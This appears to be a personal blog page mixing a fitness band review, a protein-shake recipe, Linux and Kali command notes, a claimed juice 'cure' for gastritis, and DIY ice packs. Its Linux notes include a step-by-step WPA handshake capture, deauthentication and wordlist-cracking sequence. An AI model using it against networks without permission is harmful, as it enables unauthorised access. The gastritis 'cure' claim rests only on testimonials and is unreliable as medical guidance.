Mi Fit Band Indepth Review

• Mi Fit band has the craziest battery life = 60 days usage on single charge
• How much does this military spec fitness band cost ? not $400 but a mere $20 
• When you get the band, you need to download Mi Fit android app on Google Playstore & Create new user account. BUT, there is a glitch in the app which wont let you create a new user on the phone. To fix that problem, access Mi Fit accounts webpage from your laptop & create the account & enter the credentials in Mi Fit Android app. url to that page -  https://account.xiaomi.com/pass/register

18-01-2016 - Day 1

19-01-2016 - Day 2 

20-01-2016 - Day 3

22-01-2016 - Day 5

25-01-2016 - Day 7

26-01-2016 - Day 8

27-01-2016 - Day 9

29-01-2016 - Day 11

31-01-2016 - Day 13 

01-02-2016 - Day 14

02-02-2016 - Day 15

03-02-2016 - Day 16 

04-02-2016 - Day 17

05-02-2016 - Day 18

06-02-2016 - Day 19

Walk Down Memory Lane to get dinner

Bio data Seconds before Start of my long walk 

Enroute to get dinner

Patiently waiting for dinner to be made 

Bio data at Restaurant while waiting for my food to be made

Enroute home from Restaurant

Oh No !!! will I get kidnapped by [ Black Defender ] ? 

Rest stop under shade of trees to quench my thirst

Cutest [ Lady In Red ]  enroute home

Dinner is served

Bio data after the [ long walk ] 

Inner Armor Hard Mass Gainer

original scoop on left / scoop i use on right

• Adding  protein into shaker bottle doesnt completely dissolve the powder. Instead add protein + Oats + 1 teaspoon organic coconut oil + some water into a blender = thick milkshake consistency as seen below. 

• At 1st just blending protein + water was fine but it had no taste. Subsequent protein shakes had 1 x  32g Oats      [ extra carbs on top of the carbs already found in 1 scoop ] +  coconut oil + water
• According to the label, you are supposed to add 4 heaping protein scoops with original scoop, given 1 scoop barely mixes as it is, there is no way in hell, 4 scoops will mix by shaking a shaker bottle. 

Oats + Protein + Coconut oil + [ water = to be added ] 

Linux x64 Notes

When login page freezes

• [ option to enter username/password dont show ] Press Ctrl+Alt+Fn [ 1-10 ]
• login using username/password
• startx

Default GUI login with 3D hardware acceleration is TTY 8 [ Ctrl+Alt+F8 ]

Google Cloud Printing- varies from Unix OS to OS

• sudo add-apt-repository ppa:simon-cadman/niftyrepo
• sudo apt-get update
• sudo apt-get install cupscloudprint
• sudo /usr/share/cloudprint-cups/setupcloudprint.py
• Follow the instructions about authorizing CUPS Cloud Print to use your Google Account for printing

Go Green – Linux Hibernation/ Resume

You will need a working swap partition for hibernation to work properly. All commands must be entered as root user. [ sudo or su – ]

• sudo apt-get install acpi acpi-support acpi-support-base acpi-fakekey acpid acpitool pm-utils powermgmt-base hibernate

GNOME –

• sudo apt-get install gnome-power-manager

XFCE –

• sudo apt-get install xfce4-power-manager xfce4-power-manager-data xfce4-power- manager-plugins

You will need to note down swap partition UUID

• cat /etc/fstab
• Make sure RESUME=UUID=is same as swap partition UUID
• gksu gedit /etc/initramfs-tools/conf.d/resume

Edit GRUB config file & enter correct swap partition [ GRUB_CMDLINE_LINUX=”resume=/dev/sdax” where x is the swap partition number ]

• gksu gedit /etc/default/grub
• sudo update-initramfs -u && update-grub and Reboot

Fix resuming from /dev/sdX” but freezes [ optional ]

• sudo apt-get remove hibernate uswsusp

Remove EXIF data from pictures within terminal –

• exiftool -all = *.jpg

Install Sunflower File Manager –

• sudo add-apt-repository ppa:atareao/sunflower
• sudo apt-get update
• sudo apt-get install sunflower

Update the System –

• sudo apt-get update
• sudo apt-get dist-upgrade

Yakuake dropdown terminal –

• sudo apt-get install yakuake

Get old wallpaper –

• sudo apt-get install mint-backgrounds-*

Install Flash Player –

• sudo apt-get install flashplugin-installer

Install Restricted Extras –

• sudo apt-get install ubuntu-restricted-extras

Codecs & Enable DVD Playback –

• sudo apt-get install gstreamer0.10-plugins-ugly libxine1-ffmpeg gxine mencoder libdvdread4 totem-mozilla icedax tagtool easytag id3tool lame nautilus-script-audio-convert libmad0 mpg321 libavcodec-extra

Enable DVD Playback –

• sudo /usr/share/doc/libdvdread4/install-css.s­h

Install Dropbox –

• sudo apt-get install dropbox python-gpgme

(64bit) fix skin issue –

• sudo apt-get install gtk2-engines-murrine:i386 gtk2-engines-pixbuf:i386 sni-qt:i386

Install rar and other archiving utilities –

• sudo apt-get install p7zip-rar p7zip-full unace unrar zip unzip sharutils rar uudeview mpack arj cabextract file-roller

Install a clipboard manager –

• sudo apt-get install clipit

Hardinfo – System information tool –

• sudo apt-get install hardinfo

Cleanup unwanted apps –

• sudo apt-get autoremove

To fix Display turning off after x minutes despite it being set to ” never ” –

• xset -dpms;xset s off
• [ add above commands to auto run on reboot ]
• crontab -e
• @reboot xset -dpms;xset s off

To fix black desktop-

• Disable Display Compositing – Menu > Settings > Window Manager Tweaks program, Compositor tab

Ubuntu tips / tricks –

To show Start up apps –

• sudo sed -i ‘s/NoDisplay=true/NoDisplay=false/g’ /etc/xdg/autostart/*.desktop

To see current swappiness value [ swapping rate from memory to hdd ] –

• cat /proc/sys/vm/swappiness

To decrease swappiness value –

• sudo gedit /etc/sysctl.conf
• [ goto bottom of file & type # decrease swappiness value vm.swappinness=10 & reboot pc

To fix default login screen not loading –

• on pc reboot, keep pressing Esc [ before Ubuntu OS boots ] =there you selectUbuntu Advanced options for Ubuntu= linux firmware UPSTART [Ubuntu, with linux firmware number -generic ( upstart )[ 2nd link from the top ] . Because [ default login screen doesnt load ] you will drop down to terminal shell mode or ssh to pc where default login screen doesnt load.
• cat /etc/X11/default-display-manager =/usr/sbin/gdm [correct display manager should be/usr/sbin/lightdm] .default-display-managerhas a backup file =default-display-manager.dpkg.tmp. Delete as [sudo] /etc/X11/default-display-manager = sudo rm /etc/X11/default-display-manager
• as [sudo] = sudo dpkg-reconfigure yourdisplaymanager replace[ yourdisplaymanager ] with lightdm
  & reboot

Fix package dependencies –

• sudo apt install -f

Lock an app from updating or upgrading –

• sudo apt hold appname                                                                                                                                                       

Un lock an locked app –

• sudo apt unhold appname

Start x11vnc on a remote pc via ssh –

• ssh -t username@remotepcyouwant2runx11vnc ‘x11vnc’

Check if an app is installed –

• dpkg -s appname

UxTerm tweaks –

• -bg black -fg green

VNC Clients –

• Tigervnc

Network Manager –

• sudo systemctl start NetworkManager.service
• sudo service network-manager start
• sudo nmcli networking on

Chipset info –

• sudo apt-get install pciutils or inxi
• sudo inxi -n [ for network info ]

Kali Linux –

• $ is ordinary user & # is root user
• As root on 1st boot into kali, goto /etc/ssh/ delete ssh_host_*
• dpkg-reconfigure openssh-server

1) Use LibreElecusb.bin to write kali image to microsd card [ after chmod +x LibreElecusb.bin ]
2) To become Root in kali = sudo su
3) Install tightvncserver
4) On Kali machine execute vncserver :1 & enter password to access vnc remotely
5) On remote machine install xtightvncviewer
6) xtightvncviewer vncserverip:1 to vnc into kali

WPA Cracking –

Install airmon-ng –

• sudo airmon-ng check kill
• sudo iw list
• sudo airmon-ng start
• sudo iwconfig
• sudo airodump-ng wlancardname
• sudo airodump-ng –bssid mac addr of router you want to crack -c 11 wlan0mon –write /tmp/handshake.cap
• sudo aireplay-ng -0 100 -a mac address wlan0mon
• sudo aircrack-ng /tmp/handshake.cap-01.cap -w /usr/share/wordlists/rockyou.txt
• sudo airmon-ng stop wlan0mon

Linux Mint –

Find out what packages are installed by name –

• dpkg-query -l packagename                                                                                                               

Find out details of an installed app by name & to start stop it –

• sudo service installed_app status [ start / stop / restart ]

Find out network stats via terminal – 

• sudo apt-get install vnstat 
• sudo vnstat -i networkinterface 
• sudo vnstat -d -i networkinterface [ daily stats ]
• sudo vnstat -h -i networkinterface [ hourly stats ]
• sudo vnstat -m -i networkinterface [ monthly stats ]

Find out network traffic from terminal – 

• sudo apt-get install tcpdump
• sudo tcpdump -ni networkadapter IP protocol port portnumber [ tcpdump -ni eth0 udp port 53 ]

Unbound DNS Server install – 

• sudo apt-get update
• sudo apt-get install unbound
• cd /etc/unbound/
• sudo cp unbound.conf unbound.conf.backup
• sudo gedit unbound.conf
• enter following into unbound.conf 

          server:

          interface: 0.0.0.0

          access-control: x.x.x.0/24 allow [ x.x.x = IP class range of local LAN  ]
          access-control: 127.0.0.1 allow
          access-control: ::1 allow
          access-control: 0.0.0.0/0 deny
          access-control: ::/0 deny

forward-zone:

          name: “.”

          forward-addr: 9.9.9.9
          forward-addr: 149.112.112.112
          forward-first: yes

• cd /usr/sbin/
• sudo /usr/sbin/unbound-checkconf 
• sudo systemctl enable unbound
• sudo systemctl start unbound
• sudo systemctl restart unbound
• sudo systemctl status unbound
• ip addr
• sudo tcpdump -ni eth0 udp port 53
• dig @ipofpccurrentlyyourworkingon google.com

Start / Stop Network service – 

• sudo /etc/init.d/networking stop
• sudo /etc/init.d/networking start

Raspberry pi –

Disable power key

• sudo nano /etc/systemd/logind.conf
• HandlePowerKey=ignore
• sudo systemctl restart systemd-logind

Install WordPress on localhost –

• sudo apt update
• sudo apt upgrade
• sudo apt-get install apache2
• sudo apt-get install php
• sudo apt-get install mariadb-server
• sudo mysql_secure_installation [ switch to unix socket authentication / = n / remove test database & access to it = y / reload privilege table now = y ]
• sudo apt-get install php-mysql
• sudo service apache2 restart
• cd /var/www/html [ as root ]
• sudo rm* [ as root ]
• sudo wget http://wordpress.org/latest.tar.gz
• sudo tar xzf latest.tar.gz
• sudo chown -R www-data: .
• sudo mysql -uroot -p
• create database wordpress; [ name you give here will be the database for that blog = very important ] [ while inside mysql shell ] [ if everything went ok, you will get response as ” Query OK ” ]
• GRANT ALL PRIVILEGES ON wordpress.* TO ‘root’@’localhost’ IDENTIFIED BY ‘enteryouruniquedatabasepasswdhere’;
• [ optional ] – if you screw up the blog as entire blog is stored in a database and you want to delete just the database without uninstalling / reinstalling WordPress again, type DROP DATABASE tutorial_database; [ where tutorial_database is the database name of the corrupted blog ]

Gastritis Cure

We have all been there when one suffers from gastric problems. What everyone is taught is to reach for over-the-counter pills & suspension liquids. They do give temporary relief to the [ problem ] but after a couple of days, gastric symptoms are back again. After extensive research and numerous customer testimonies. below is [ a cure ] for gastritis. Yes you read it right, [ a cure ].

But, most cant tolerate 100% strength of any given vegetable or fruit, so start small and work your way up. But, as far as im concerned, either i go in 100% or not at all.

Items needed - 

• Cabbage [ green / red ]
• Carrot
• Green Cucumber 
• Water
• Blender

• Thoroughly wash all the vegetables & then peel the carrot. Slice the Green cucumber, no need to peel the skin of it. 

• Put all ingredients into a blender and add some water

• Viola !!! cabbage/carrot/cucumber juice 

Word of advice to 1st timers on drinking detox, gastritis remedies - its bloody strong in smell & taste, so go easy on the ingredients. After you drink this couple of times, your body will get used to the smell/taste of it. 

DIY Home made Ice Packs

Items needed - 

• ice pack containers - bottles, zip lock bags 
• Isopropyl alcohol 
• water
• ice box 

• Mix 1 part isopropyl alcohol to 4 parts water 

• Put ice pack bottles in fridge till it completely freezes [ it doesnt completely freeze because of the alcohol in the water ]  

• Put ice pack to ice box together with your beverage [ to be cooled ] and enjoy !!!

• Chilled beverage [ in this case, a water glass bottle ] remained chilled even after 7 hours later as seen below 

• Put second ice pack into ice box while first ice pack is put back in the fridge for re freezing

• Test #1 29/12/2015 10:40 pm -  frozen ice pack + Ginger Beer 

• Test #1 29/12/2015 10:55 pm - extra Ginger Beer bottle to load balance the ice pack. Also to check IF 1 ice pack can chill 2 glass bottles 

• Test #1 30/12/2015 01:25 am - Chilled drinks [ mist on glass bottles ] 

• Test #1 30/12/2015 10:16 am - crap !!! it REALLY WORKS. Drinks COLD to the touch 12 hours later with huge chunks of ice in the ice pack

• Test #2 30/12/2015 07:51 pm - 1 frozen ice pack + 2 Ginger Beer bottles + 1 ice tray of ice

• Test #2 31/12/2015 02:45 am - Half melted ice cubes + half frozen ice pack = chilled Ginger Beer = 7 hours later 

• Test #2 31/12/2015 02:45 am - Half frozen ice pack 7 hrs later

• Test #2 31/12/2015 01:38 pm - Chilled Ginger Beer + ice pack = 18 hours later 

• Test #2 conclusion = having just 1 ice pack = 12 hrs chilled drinks. 1 ice pack + 1 ice tray of ice + beverage = 18 hrs  chilled drinks

Ice packs & beverage bottles from 100% recyclable items at home